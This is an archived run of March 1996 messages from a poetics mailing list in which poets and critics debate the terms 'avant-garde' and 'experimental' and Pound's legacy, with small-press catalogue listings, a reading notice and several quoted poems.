But both these books will appear I'm sure, years down the trail, and so do not possibly qualify as "ghost books"? XXX Kevin (Killian)

↑ Index

178. **Eryque Gleason**
Re: FW: Re: avant-garde
Tue 12 Mar 1996

> *chris 'i left my foot in my mouth' daniels*
>
> *sort of tastes like chicken, actually ...*

yours too? after a good jog does it taste like dark meat cooked in a light garlic sauce?

↑ Index

179. **Eryque Gleason**
Re: Ghost books
Tue 12 Mar 1996

> *not possibly qualify as "ghost books"? XXX Kevin (Killian)*

Kevin, you're older than 30, aren't you? :-) sorry, it's three in the a.m. of the morning over here, bedtime for bozo!

OOOO (i get it) Eryque

↑ Index

180. **Gwyn McVay**
Re: avant-garde
Tue 12 Mar 1996

Has anybody yet seen _The Dada Market_ anthology from Southern Illinois U. Press, can't remember the editor's name? Haven't cracked it yet, but bought it almost entirely for the cover, which is a photo of an apparently genuine RC-Cola roadside-dilapidated convenience store whose sign says "The Dada Market." I love it.

Gwyn

↑ Index

181. **William M. Northcutt**
avant-garde
Tue 12 Mar 1996

---

someone, and forgive my faulty memory, has recently written a good piece on the notion of avant-garde and all the problems with recent books on the subject, in Contemporary (contemptuous?) Literature.

As for my own feelings about "avant-garde" as a word used to describe the works of people such as Pound, Marinetti, H.D., Williams, Reznikof, W. Lewis, Spicer, Desnos, Queneu, Breton, O'Hara, Dorn, Bernstein, Silliman, etc...the problem rests in using the term as a concrete rubric through which to discuss these writers. I mean, there are ways in which the term can be used so loosely as to apply it to Bly and even Fred Turner, since the term is a relative term. The trouble, as far as I see it, is in trying to once and for all codify a term. It may also be that in many cases we don't like to admit that there are definite similarities between some aspects of Dana DDDDDDDjjjjjjjjjjjjjoyyer's work and, let's say, Jim Mc Manus's work, or more likely, V. Seth's and Jim Mc Manus's, and that there are some recognizable similarities between Silliman's work (all glories be to my favorite of all contemporary poets) and that of one of my least favorite writers ever, someone such as Fred Turner (embraced as he whole-heartedly is by some of the fascists of Europe I've met in the last year--I'm not directly attacking Turner here).

The point I'm rambling on about here is that no term such as a-g or experimentalist can ever be less than abstract, or more correctly said, relativist.

These thoughts are nothing new to the list. Just my 1 and 1/2 Cents worth.

And has anyone yet tried to disentangle how it is that Pound's work, fascist and goddamned hard-assed as it is has aspects which make some of the more humane and radical aspects of lang-po impossible without there having first been Pound? I don't buy the pure methodology excuse. But I would like to know what some of you think.

By the way, do any of you know whether Nate Mackey is on line?

end of the pot pourri.

William Northcutt

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
Tel: 44 921 980612
Fax: 44 921 553641

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182. **Karen Landers**
Re: avant-garde
Tue 12 Mar 1996

<grin>

all poetry is exactly the same and no other word should be used when discussing poetry because then the buyer will have no idea what is in the book and will have to rely exclusively on the opinions of others while accidentally buying what might have been called traditional work or what might have been called academic work when what was wanted might have been called postmodern or avant-garde but the language police didn't let anyone make any categories so noone bought any poetry

Peter

if you're ever on EFnet, drop in to #postmodern
we're talking a lot about Pound/Olson/Zukofsky
and say hi to me
Peter or Landers

[redacted]

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183. **Ursula K Heise**
Re: avant-garde
Tue 12 Mar 1996

Hello, I'm new to this list and have been following the discussion re. the term "avant-garde" with great interest over the last week or so. Some of the problems in using this word that have been pointed out seem to relate not to any fuzziness in the term itself, but to the problem of evaluating work with no or little historical distance. By which I mean: I think we probably all have a more or less defined and probably also shared idea of who and what the avant-garde of the 1910s, 20s, 30s was. But once it gets to the 70s and onward, it becomes harder to tell because in order to know what the avant-garde is "avant" of, you have to know what comes "apres," i.e. whether the avant-garde is followed by anything (if not, it presumably isn't one). So is the irony of the term that you only know what's avant-garde in hindsight?

Ursula K. Heise
Columbia University

↑ Index

184. Matthew Gary Kirschenbaum

(fwd) NEW: DADA - Dada mailing list

Tue 12 Mar 1996

I'm assuming this is legit. Or does it matter?

Forwarded message:
> DADA on [redacted]
>
> ~~~:~~~~~~~~~~~~~~~~~~~~.~~~~~
> tHE dADA mAILING LiST
> ~~~~~~~~~^~~~~~~~~~==~~~~!~~~~~~
>
> Subscribers to the dada mailing list send their insane ramblings to
> the other subscribers, who are encouraged to embellish these ravings
> with their own lunacy, in an ongoing torrent of meaningless babble!
> It amounts to a verbal jam session.
>
> Some of this prose is appended repeatedly, creating long epics of
> startling beauty and hilarity. Other times, no one adds to a piece,
> and it stands on its own until forgotten.
>
>
> subscribe dada
>
> in the body of the mail.
>
> Protocol and guidelines may be found on the dadaFAQ website at
> http://www.teleport.com/~xeres/dadafaq.html
>
> Owner: The Robot Vegetable [redacted]
> ---
>

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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185. Emily Lloyd
Re: avant-garde
Tue 12 Mar 1996

It seems to me not un-noteworthy to consider the difference between writers who label themselves and their friends avant-garde and writers who GET labelled avant-garde. This is how I interpreted (chris daniels?) the original question. If we call *ourselves* avant-garde, what are we contributing to? (possibilities: a linear view of time, a lack of responsibility/interest in being understood "because we're ahead of our time--100 years from now, you'll thank us!", the labelling process in general, and perhaps--as cd suggested--a kind of elitism, etc.). I do think there is a difference between those (Marinetti, Pound, et. al) who say "*I* am the voice of the next generation" (which automatically shuts the current generation up, because they can neither "prove" nor "disprove" it--saying "I'm avant-garde" poses me against the possibility of critique) and those whose writing simply IS such a "voice," but who don't go to great lengths to assert/promote it that way...it is the self-assertion, the passionate interest in labelling & grouping *ourselves* (inclusively/exclusively) or identifying with a "movement" that seems...discussable [sic]. E

~~~
~~~

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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187. Jordan Davis
Re: avant-garde
Tue 12 Mar 1996

---

is it conceited to be avant-garde? on the frontlines? front lines of what. First lines. The first lines are the avant-garde of the poem. Are we conceited to be talking about poetry. Poetry isn't talking about us, right? So why talk about ourselves as experimental. What's the hypothesis. Well we weren't talking about _you_... Is it egocentric to be writing at all? Yes. It is. It's egocentric to be writing it all, to be monumental, or to be called monumental. But what else is there to do. What else. What else. Is it mental to be conceited. It is conceited to say I'm in charge now (Alexander Haig). It is conceited to talk about ourselves. What do we talk about. Do we talk about poems. Whose poems. Aha. Well we do talk about poems sometimes, or something in a poem. We talk about how to put a poem over, or what is it at the beginning, the avant-garde of the poem. The poem is not avant-garde. The poem is ahead of us? How does a poem get from the avant-garde to the end. What is an end. ("What is the name of this poem.") Is the job of the discussion which is not one of us to become accurate. To describe truthfully. To be? The Job of discussion is why we are avant-garde. How many poets live in apartment 2-B. Is the poetry we're talking about more appropriately called anti-teleological. Or is it as Tony Door says the commutative function of the alphabet. What are we doing. If we have to talk about it by groups, if we have to talk about a group coming after an avant-garde group, then what do we talk about. Paradigms? (Hi Gale!) What is different seems to be located around _what we want_. I don't think it's conceited to talk about what we want. Maybe it's conceited to speak for we. What we. Well it's important to talk about what is wanting. Very? Very wanting. Ambition has been defaced. What is the new ambition. What do they want these new writers we don't understand. The cover of Time magazine. To talk to improbable objects. To speak to them. Impossible?

the bouquet years

↑ Index

188. **Steve Carll**
16 OZ or
Tue 12 Mar 1996

At 12:39 PM 3/12/96 +0100, William Northcut wrote:

> *And has anyone yet tried to disentangle how it is that Pound's work, fascist and goddamned hard-assed as it is has aspects which make some of the more humane and radical aspects of lang-po impossible without there having first been Pound? I don't buy the pure methodology excuse. But I would like to know what some of you think.*

Bernstein has an essay in _A Poetics_ called "Pounding Fascism (Appropriating Ideologies--Mystification, Aestheticization, and Authority in Pound's Poetic Practice)" (whew) which, although one could maybe argue that it relies on the notion of "pure methodology", as I see it simply makes the point that "some work may usefully evade any single social or political claim made for or against it because of the nature of its contradictions, surpluses, and negations."

Or, Pound the fascist could also be Pound the artist because both were Pound the human being and neither the fascist nor the artist fully disappeared at the presence of the other; they formed this hybrid which created _The Cantos_. But the artist tricked the fascist because the poetic text, once released, escaped the control of (the artist too, but more importantly:) the fascist.

By the way, I once had a dream that I went to this shack where Ezra Pound lived with his son, and ol' Ez sat out on his porch with us, waving a shotgun menacingly.

Steve

↑ Index

189. **Mark Roberts**
AWOL: FAMOUS REPORTER
Tue 12 Mar 1996

This message has been forwarded on behalf of AWOL. Please direct all inquiries to AWOL at [redacted] (all prices are in Aust dollars - if you are interested in ordering any titles please contact AWOL for details).

Thanks

Mark

****

The following notice has been posted by AWOL on behalf of THE FAMOUS REPORTER. For further information about THE FAMOUS REPORTER please contact them at the address provided. Further information about AWOL's Virtual Bookshop please contact us by using the contact details at the end of this post.

****

Famous Reporter 12

Famous Reporter is a biannual literary journal, jointly edited by Lyn Reeves (haiku), Lorraine Marwood (100-word essays/poems), Anne Kellas, Angela Rockel, Warrick Wynne (poetry) and Ralph Wessman.

Famous Reporter 12 (December `95) features poetry (work by both new and established poets including Doris Leadbetter, Kathelyn Job, Pete Hay, Peter Bakowski, Mark Miller, Rudi Krausmann, Gloria B. Yates, John Malone, Kevin Brophy, Yve Louis, Chris Mansell, Tim Thorne, Rory Harris, Graham Rowlands, Anthony Lawrence & many more), prose (inc. Geoffrey Dean, Leah Nischler, Martin R. Johnson, Anne Shimmins), haiku, an interview (Pete Hay and Richard Flanagan in conversation), reviews of new collections by Nigel Roberts, Kristin Henry/Doris Leadbetter, Sybylla's She's Fantastical anthology, essays and articles (Helen Cerne: `Before Chaos - a visit to Croatia', Sherryl Clark: `Writers at Work' - excerpts from the 3CR radio programme sponsored by the Victorian Writers' Centre, Janice M. Bostok: `A Return to Romania', etc), email commentary (from the Austlit mailing list) by Lyn McCredden and Bill Schaffer, 100-word poems/essays, visits to the N.S.W. Spring Writing Festival in September and to the Tasmanian Poetry and Dance Festival in Sept/Oct, gossip and news....

For FR13, (besides poetry, prose, articles and reviews etc.) we are seeking haiku focussing on relationships; for the 100-word poems/essays section,we require material taking as its departure point a personal response to the opening line of `Jonah's Wife' by Jill Hellyer, published in the Penguin Book of Australian Women Writers, the opening line being "`A likely story,' she said." Contributions - between 95 and 105 words in length - are welcome in verse or prose form, and should reach Famous Reporter by April 12th, 1996. An SSAE is essential for the return of contributions.

FR offers modest payment - haiku $5, 100-word essays $5, stories (prose under 500 words) $5, poems $10, short stories & articles $20 minimum, etc - for material. Address submissions (and subscriptions: $14/two issues) to Walleah Press, PO Box 368, North Hobart, Tasmania 7002.

****

AWOL'S VIRTUAL BOOKSHOP

AWOL will shortly post information about its VIRTUAL BOOKSHOP to its internet contacts and upload information to its web site. A mail order catalogue has been produced for the Salamanca Writers' Festival and will be available throughout the festival. If you are unable to pick up a copy please let us know and we will send you a copy by the most convenient means.

Meanwhile, here is a glimpse of what is to come. You can order any of the following magazines directly from AWOL (a discount is available for libraries - please contact us for details.

AWOL MAGAZINES

Overland 142

(ISSN 0030 7416 88 pages perfect bound). AWOL is pleased to welcome Overland to the Virtual Bookshop. As always issue 142 is a high quality read featuring poetry by Bruce Dawe, Diana Faye, Stella Turner, Susan Hawthorne, Stephen J Williams, Peter Murphy, Sandy Jeffs and Emma Lew. Fiction by Merv Lilley and CC Mitchell together with articles and reviews. A feature of this issue is a tribute to the late Barrett Reid which includes three poems by Reid. $8.00

four W issue 6

(ISSN 1035 7920 Perfect Bound 206 pages) Edited by David Gilbey, Virley Dunning, Muriel Lang & Troy Whitford. This is the most impressive issue of four W to date.

Poetry by: Mark Brennan, Anna Voigt, Jenni Munday, Jack Bedson, Margaret Bradstock, BR Dionysius, Mark Smith, M Turbet, Mark Roberts, Ouyang Yu, Anthony Lawrence, Debbie Robson, Adrian Caesar, Michael Crane, Myron Lysenko, Barbara Damska, Philip M Everett, Lizz Murphy, Marietta Elliot, Winifred Campbell, Mark O'Flyn, Troy Whitford, David Gilbey, Bev Stuart, Robert Verdon, John Foulcher, Kathy Kituai, Ron Price, Barbara Bailie Howard, Rory Harris, Jeff Guess, Kyle Powderly, CE Hull, M Thomas Schulze, Ken McKenzie, Bronwyn Rodden, Grahan Rowlands, MTC Cronin, Laureen Williams, Joan Phillip, Muriel Lang, Reg Naulty, Simone Guerin, Wiliam Berrigan, Jules Leigh Koch, Kelly Chan, Robert Doyle Paul c Dodd, David Luttrell & Mark Smith.

Prose by: Diane Fordham, Dorothy Simmons, Ian C Smith, Muriel Lang, Pat Skinner, Jane Dowling, Jim Sordi, Virley Dunning, Archimede Fusillo, Barbara Heron, Francesca Rendle-Short, Barbara Brooks, Heather Nicholson, David King & Jack McInnes.
Artwork by Rob Harris.
$9.00
(issue 4 is also available)

SCARP 27 New Arts & Writing

(ISSN 0728 7372 66 pages Perfect Bound). Edited by Ron Pretty with assistance from an editorial committee. Once again a very impressive publication from SCARP. Prose by: John A Scott, Lola Stewart, Sue Saliba & John Millet. Poetry by: Tracy Ryan, Jorie Mannering, John Malone, Mike Ladd, Les Wicks, Andy Kissane, Peter Kenneally. Emma Lew, June Owens, Margo Button, CE Hull, Sharon Olinka, Peter Hunt, Margo Button, Deb Westbury, John Kinsella, Marc Swan, Shane NcCauley, Salamander Rilke, Bill Collis & Ron Miller. Artwork by: Christine Dunne, Brian Stewart, Riste Andrievski, Hannah Parker, Susan Fitzgerald, Joyce Allen & Dopiya Gurruwiwi. Reviews of: Lovely Infestation Purcell, The Sky is Moving Hinkley, Do Fish get seasick Murphy, Prismatic Navigation Leabeater & Life's never boring when you're a virgin Beach all by Mark Roberts.

Coppertales - A Journal of Rural Arts No. 2

(ISSN 1320 1021 127 pages perfect bound) Edited by Chris Lee & Brian Musgrove. The second issue of Coppertales has confirmed the excitement which surrounded the publication of the first issue. This striking magazine highlights the depth of creative talent in regional Australia. Fiction by: Barbara Ross, Mark O'Flynn, Michelle Mee & Pat Skinner. Poetry by: Estelle Randall, Gary Smith, Robert Verdon, Julie Hunt, C E Hull, John Forbes, BR Dionysius, T M Collins, Jane Williams, Mark O'Flynn, Lorraine Marwood, Sunaryono Basuki, Joan Davis, Andrea Gawthorne, Dorothy Williams & Kate McArthur. Articles by: Ian Syson - 'Literature in Mt. Isa' & Susan Lostroh - 'The art of recycling'. Photojournalism by Lisa Kels. Interviews by: Margo Pye - 'The writing of A Christmas card in April' & Veronica Kelly - '"More Character-driven" An interview with Louis Nowra. Reviews by: C D Yeabsley Iris, it's finished: A childhood in country Queensland - R G Hay, Simon Ryan -In the National Interest Turner & Writing the Colonial Adventure - Dixon, Brian Musgrove The lives of the saints - Berridge, Christopher Lee The Scandalous Penton - Buckridge & Horst Duceveld Metro Arts Pamphlet Poets Series. $9.00

Inklings No.5

(ISSN 1322 7106 56 pages stapled.) Edited by the Inklings Collective Inklings is a Sydney based journal combining creative writing, cultural commentary and reviews, poetry and photography. Originally produced by a number of students and staff at UNSW in the later part of 1993 the journal has now grown into an established biannual publication. Issue 5 contains work by MTC Cronin, Mark Roberts and Mary O'Connell among many others and includes pieces on Jean Luc Godard, colonial discourses on subjugation, and the allegories of Walter Benjamin. $4.00.

Tinfish No 1 (No ISSN 46 pages). Edited by Susan M Shultz. The first issue of this Hawaii based magazine is particularly exciting. Tinfish aims to publish "experimental poetry with an emphasis on work from the Pacific region" and includes work by a number of well known Australian writers. Tinfish 1 contains work by Joe Balaz, Peter Kenneally, Kathy Dee Kaleokealoha Kaloloahilani Banggo, John Geraets, Rob Wilson, Spencer Selby, Yi Sha, John Kinsella, Lyn Hejinian, Barry KK Masuda & John Tranter. $4.00

Hermes Issue 12

(ISSN 0 816 116X 108 pages Perfect bound). Hermes has a long tradition of publishing innovative writing and since its relaunch over a decade ago the magazine as gone from strength to strength. It is published annually. Issue 12 is perhaps the best issue yet. It contains poetry by John Tranter, Zan Ross, Peter Minter, Michael Brennan, Karen Attard, Roger Dillon, Alison Clark, Lisa Jacobson, Kate Llewellyn, Kristen de Kline, Tom See, Fecity Plunkett, Ron Pretty, Roger Dillon, Coral Hull and Helen Lambert. Prose by Melissa Brown, Lucy Neave, Adrian Wiggins, Nina Gibb, Andrew Hansen, Phillipa Yelland and Zoe Band. Graphics by Eliza Hutchence, Elena Nesci, Annie O'Rourke, Julian Green, Galea McGregor, Miranda Heckenberg, Aviva Ziegler,Hannah Kay, Charles Lake, Susan Bower, Janice Paul, Rachel Smith and Andrew Stark. Graphics by Susan Bower, Mark Byron and David Langsford.

The Famous Reporter Issue 12

Published by Walleah Press PO Box 368 North Hobart Tasmania 7002 ISSN 0 [redacted] Perfect bound Magazine title on spine 128 pages.

The Famous Reporter is one of the longest surviving small literary magazines in Australia. While it highlights the work of Tasmanian writers it also regularly includes work by well known mainland and international writers. It is of a consistently high quality and appears regularly twice a year.

Issue 12 includes poetry by Nigel Featherstone, Jeff Guess, Brain Purcell, Mark Miler, Rudi Krausmann, Kevin Brophy, Chris Mansell, Tim Thorne, Anthony Lawrence and many more. Fiction by Knute Skinner, Martin R Johnson Alex Butterfield and others together with haiku and articles and reviews. $7.00

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Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

190. Henry Gould
Re: avant-garde
Tue 12 Mar 1996

Since everybody's putting in their 2 cents worth, here's my irrelevant comment re: avant-garde. Short poem by Mandelstam, translated by Sidney Monas:

[#357]

As if, somewhere, a heaven-stone wakes the earth --
a poem fell, a disgrace, not knowing its father;
creators accept the inexorable as it comes --
it is what it is -- no one judges it.

Voronezh, 20 Jan. 1937

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191. David Kellogg
Re: 16 OZ or
Tue 12 Mar 1996

> *At 12:39 PM 3/12/96 +0100, William Northcut wrote:*
>
> *And has anyone yet tried to disentangle how it is that Pound's work, fascist and goddamned hard-assed as it is has aspects which make some of the more humane and radical aspects of lang-po impossible without there having first been Pound? I don't buy the pure methodology excuse. But I would like to know what some of you think.*

The answer is yes: in my view, Bob Perelman's Pound chapter in THE TROUBLE WITH GENIUS is a little closer to the mark on this score than Bernstein's essay (which Steve Carll mentioned). Here's a quote that's not too substantive but gives a sense of what Perelman wants to do.

> ". . . when we come to THE CANTOS we cannot wish away the connections between the ambition and the agression that are positive virtues in his early writing and the rhetorical violence and moral blindness of his later politics. Painful as Pound's Fascism and racism are, and attractive as some of his poetry, literary insights, and pronouncements can be, nevertheless I want to insist on reading him whole. . . . What gives the best of Pound's writing its power cannot be dissociated from the worst of it." (pp. 30-1)

Also, though it's anachronistic with regard to langpo, I must mention Olson's record of struggle in the volume edited by Catherine Seelye. The contradictions you mention are at the heart of that book.

Cheers,
David
~~~
~~~

Though not specifically on topics of poetics, it does take a kind of cultural studies approach to issues of violence in reading of Derrida's essay "Force of Law" in juxtaposition to _Pulp Fiction_. Backchannel commentary welcome.

Peter Baker

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193. Charles Alexander
Re: avant-garde
Tue 12 Mar 1996

"avant-garde" is certainly problematic, and usually just irrelevant as a term. Perhaps even worse is "academic" and "anti-academic." If the work is worth attending to it seems to make such distinctions seem silly. As critical terms they aren't worth much at all. Mei-mei Berssenbrugge just visited here and said something about her work being "anti-academic" and that just seemed wrong to me. I told her it wasn't "anti" it just was "not" academic. She said "thank you." That seems about right.

But where I need to use such a term as avant-garde, or experimental, even where I don't want to, is when I'm trying to explain such work to those who are not familiar with it, or with a lot of contemporary poetry, at all. That is, much of my work over the last decade or so has been to present such work to audiences outside colleges & universities, & to do so I've had to write a lot of grant applications and proposals to a lot of different foundations, agencies, museums, & more. Usually I've tried to make the word "innovative" do the work, but that too gets old after awhile. But saying nothing seems not to distinguish the work from any other, and that won't do. And one doesn't necessarily want to give a large educational lesson to these agencies and organizations; to some one may not want to give any or a lot of examples to read.

So if anyone wants to suggest new terminology, there are probably many of us listening.

charles

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194. Ron Silliman
Steve Carl's dream
Tue 12 Mar 1996

"By the way, I once had a dream that I went to this shack where Ezra Pound lived with his son, and ol' Ez sat out on his porch with us, waving a shotgun menacingly."

I once spent a morning with Omar Pound in Orono during which he was interviewed by the local Bangor literary critic, a semi-retired highschool English teacher who remembered that Ezra had been notorious for his politics. About halfway through the interview, he leaned forward, conspiratorially, and asked Omar,

"So what kinda commie was your father, anyway?"

Ron Silliman

↑ Index

195. **Ron Silliman**

Re: avant-garde

Tue 12 Mar 1996

Avant-garde has two connotations that I find not so problematic, certainly compared with experimental -- a term that is genuinely hideous (suggesting "scientism," or else the idea that the formally progressive poet does not know what he/she is writing and is trying to "find out"):

One is its connection with an internationalist tradition that goes back into the mid-19th century (and which predates the "academic" tradition as we tend to think of it in the US), from Bertrand and Blake to the present. That's what I tend to think of as the identarian view of this community, and one I feel lots of sympathy for/interest in.

The other has its roots right smack in the term's military origins. The avant-garde is precisely that portion of an army that gets "killed" in large quantities, the people who storm the barricade and provide (with their own bodies) the stepping stones that those who follow will climb upon. When I think of the Mina Loys, the Walter Conrad Arensbergs, the Fenton Johnsons (not the novelist!), the Marsden Hartleys, the Amos Zu Boltons, Else von Freytag-Loringhovens, the Dan Proppers, the Bob Browns, the Mary Butts, the Steve Jonases, the Harold Dulls, the Seymour Fausts, the Lew Welchs, the William Andersons, the David Schuberts -- the analogy seems more exact than I care to think. Not that all "ended badly," but rather that their extraordinary work went by with remarkably little notice for all the notoriety that the very few (Joyce, Pound, Stein, Williams etc) who managed to get through the net received. There is, I think, an inherent sacrifice not only in writing poetry but in writing poetry that makes demands on readers, that readers also perform at their best. Like so many other writers, I have benefitted greatly in ways that I cannot articulate from every one of these poets (and hundreds, maybe thousands, more). The term "avant-garde" suggests to me just that sacrifice.

When I was a teenager, I wrote poems more or less exactly like those I was reading in the magazines (let's say Alan Dugan, George Starbuck, Donald Justice, for examples). By the time I was 21, I had had poems accepted by Poetry, TriQuarterly, Poetry Northwest, Southern Review, Chicago Review and a host of others. The minute I started to actually work seriously on developing a real aesthetic, I became "unpublishable" for several years. Every time I see a list of, say, NEA or Guggenheim winners, I re-experience all the sensations that went with that. When I read Mark Wallace's comment that only two members of the SUNY Buffalo graduate writing program have gotten fulltime tenure-track jobs in recent years, compared with the few hundred gigs there have been, I realize that this sense is not my own unique experience, and that sacrifice is inherent in what I and others do.

I don't like the phrase "anti-academic," since the academy is in fact not the problem but rather the normative traditions that have held a certain hegemony over institutional culture for the past 50 years, one that declares American poetry to be a tributary of the British (and which in turn tends to ignore such great UK poets as Bunting, Raworth, Jones and others like Thomas A. Clark). While all institutions have their own internal logics (that can serve as an anchor or drag), it seems a mistake to confuse the field with the players.

Ron Silliman

↑ Index

196. chris daniels
Re: avant-garde
Tue 12 Mar 1996

---

well i guess the only thing that really bothers me abt it is the tendency to group poets (wch means their WORK) into camps (phalanges) and so seeming to disallow any peaceable dialogue. all the rest of it i can live with --- ron silliman's vilification of the term "experimental" is on the money, though i at least DO learn to write as i write --- i get the drift

ron's posting abt the front lines being killed off in a kind of sacrifice said it for me

i have bob brown's 1450-1950, it's one of my most treasured books, but who the hell is thomas a. clark? i'll find out, you bet.

but the list goes on and on. i'll just mention hugh macdiarmid who was a remarkable poet by anybody's standards, a poet as worthy of profound study as pound or olson; and also a living, breathing, amazing poet who gets little attention as far as i can tell: armand schwerner.

later
---
christopher daniels <[redacted]> 3.12.96 6:45:46 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

197. Eryque Gleason
Re: avant-garde
Tue 12 Mar 1996

> *So if anyone wants to suggest new terminology, there are probably many of us listening.*
>
> *charles*

i'm a corn field (all ears)

eryque

↑ Index

198. Thomas Bell
Re: avant-garde
Wed 13 Mar 1996

What about "what works" [for me]? In most other areas a successful experiment is a "success" not "experimental" and the forefront becomes present or it disappears. Does the experimental or avant-garde still need to be defensive? It is poetry. tom

On Tue, 12 Mar 1996, Charles Alexander wrote:

> *"avant-garde" is certainly problematic, and usually just irrelevant as a term. Perhaps even worse is "academic" and "anti-academic." If the work is worth attending to it seems to make such distinctions seem silly. As critical terms they aren't worth much at all. Mei-mei Berssenbrugge just visited here and said something about her work being "anti-academic" and that just seemed wrong to me. I told her it wasn't "anti" it just was "not" academic. She said "thank you." That seems about right.*

> *But where I need to use such a term as avant-garde, or experimental, even where I don't want to, is when I'm trying to explain such work to those who are not familiar with it, or with a lot of contemporary poetry, at all. That is, much of my work over the last decade or so has been to present such work to audiences outside colleges & universities, & to do so I've had to write a lot of grant applications and proposals to a lot of different foundations, agencies, museums, & more. Usually I've tried to make the word "innovative" do the work, but that too gets old after awhile. But saying nothing seems not to distinguish the work from any other, and that won't do. And one doesn't necessarily want to give a large educational lesson to these agencies and organizations; to some one may not want to give any or a lot of examples to read.*
>
> *So if anyone wants to suggest new terminology, there are probably many of us listening.*
>
> *charles*

↑ Index

199. Rod Smith
DC Reading
Wed 13 Mar 1996

Sunday, March 17 @ 3 PM

Leslie Scalapino & Rod Smith
publication reading for Leslie's new _The Front Matter, Dead Souls_ (Wesleyan) & my _In Memory of My Theories_ (O Books).

at DCAC, 2438 18th St NW, WDC
(near 18th & Columbia)

↑ Index

200. James Perez
"*scientism*"
Wed 13 Mar 1996

---

what's wrong with 0the word experiment that as Ron says makes it "genuinely hideous." What is "scientism" any way. I think poets do find out what they are doing through writing, they find a lot of things through the process of writing, that's part of why I write. Who out there hasn't thrown something together and came back to it later and said, "I never knew that was there."

And this whole thing about the relation of experiments and experimental method. Experimental method (scientific) was created through

experimentation for the purpose of western science. There were experiments (ask Aristotle) far before experimental method (a product of the enlightenment?). Experimental method is for the purpose of forming theories and natural laws, and for that matter an experiment can really only be successful by proving the hypothesis do be wrong. I find it funny that western sciences closest thing to fact is negation, i.e. the earth does not orbit the moon (sorry couldn't think of a good example), because it only takes one experiment to prove a theory wrong even if that theory has been said to be correct by a thousand other experiments. Stein has a high percentage of "not" in her work, she knew something, Scalapino picked up on it to ("A crowd and not evening or light"). Anyway, experiments and experimental method are not dutifully intertwined, experimentation, for me, involves exploring new boundaries for narrative, verse, etc. But in that way, every poet is experimenting with some thing or other.

James Perez
[redacted]

↑ Index

201. **chris daniels**
FW: "scientism"
Wed 13 Mar 1996

--- On Wed, 13 Mar 1996 01:46:21 EST James Perez :

> *what's wrong with 0the word experiment that as Ron says makes it "genuinely hideous."*

check out jake berry's "articulating freedom" in taproot 7/8 and also JUXTA #5 (i think) at GRIST --- he briefly sums it up, well enough for me anyway

> *What is "scientism" any way.*

here's what webster sez:

2. the principal that the scientific method can and SHOULD BE (my emph) applied in all fields of investigation

for me that's precisely what ron was after --- the SHOULD BE part --- SHOULD BE = DEATH to a poet's work and a poet's experience of the work of other poets

i myself can not seperate theory from praxis any more than i can seperate form from content --- maybe i'm dumb or something, but it seems impossible for me, maybe a matter of training --- i dropped out of highschool, total autodidact, etc

and if we continue to call a poet "experimental" whose work has not appreciably TRANSFORMED itself over a period of years (this is going on these days in a very big and scary way), what are we saying abt ourselves? just because a

poet's work has no truck w/ academic values does not for an instant mean that poet is not in practice just as conservative and dependent on received "wisdom" --- wch is something all of us are fighting against

> *I think poets do find out what they are doing through writing, they find a lot of things through the process of writing, that's part of why I write. Who out there hasn't thrown something together and came back to it later and said, "I never knew that was there." with some thing or other.*

no one in their right mind wld ever argue w/ what you've said here tho i think artists neither experiment nor hypothesize when they are making art, but seek to unfetter, unless they are not intuitive in the least, wch seems impossible to me --- this has been my experience and my wish for what it's worth --- and i think poets MUST keep that part of their process alive or their process reaches stasis BUT for me "experimental" is not a good one at all --- my stuff is being accepted by JUXTA and VISION PROJECT and ANTENYM --- as far as i can tell my stuff is nowhere near as outside as poets like spencer selby, jim leftwich, tom taylor --- my process has never been one of experimentation --- i work painfully in an agon of revision and careful attention to MEANING first and foremost and if anybody called my stuff "avant-garde" i'd think they were crazy or just kind of unaware --- i feel as much an affinity w/ the early anthony hecht as i do w/ paul celan or susan howe for example

it occurs to me that the scientific process UNFETTERS KNOWLEDGE and after all art is partially at least a process of aquiring some kind of knowledge. all the great scientists have been hugely intuitive and the scientific community thrives on ferment and logomachy, so, well, just gabbin ...

later ---

chris
>
>James Perez

---
christopher daniels <[redacted]> 3.13.96 1:00:05 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

202. **R I Caddel**

Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996

Wed 13 Mar 1996

---

chris daniels wrote:
> i have bob brown's 1450-1950, it's one of my most treasured books,
> but who the hell is thomas a. clark? i'll find out, you bet.

Thomas A. Clark hails from Grennock, and currently runs Moschatel Press with his wife Laurie in darkest Gloucestershire. Following a runs of books from Jonathan Williams' Jargon (latest: A Still Life, 1977) he's produced a range of tiny-but-perfect pamphlets & cards from Moschatel, as well as Madder Lake (Coach House 1981) Tormentil & Bleached Bones (Polygon 1993) and appeared (with Barry MacSweeney and Chris Torrance) in The Tempers of Hazard (Paladin 1993). The Paladin one was almost a ghost book, and could be hard to find: they were taken over by Rupert Murdoch during publication, and when MacSweeney phoned for extra copies c. six weeks after publication, he was told "Mr. Murdoch ordered it to be burned"...

Here's one from The Hollow Way (Moschatel 1983):

freshness gathers in a jar
the evening waits on splendour
we have come home from war
only the indigent wander

ask nothing of life
the hours have no halter
the garden gate is ajar
purpose does not falter

abundance ripens in a bowl
the telephone rings in an empty room
a turbulence of trapped wings
in the corner reclines a broom

- hope that helps! x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x x x
"Words! Pens are too light. Take a chisel to write." x x - Basil Bunting x x x

↑ Index

203. William M. Northcutt
Pound on the front pohch waving his shotgun
Wed 13 Mar 1996

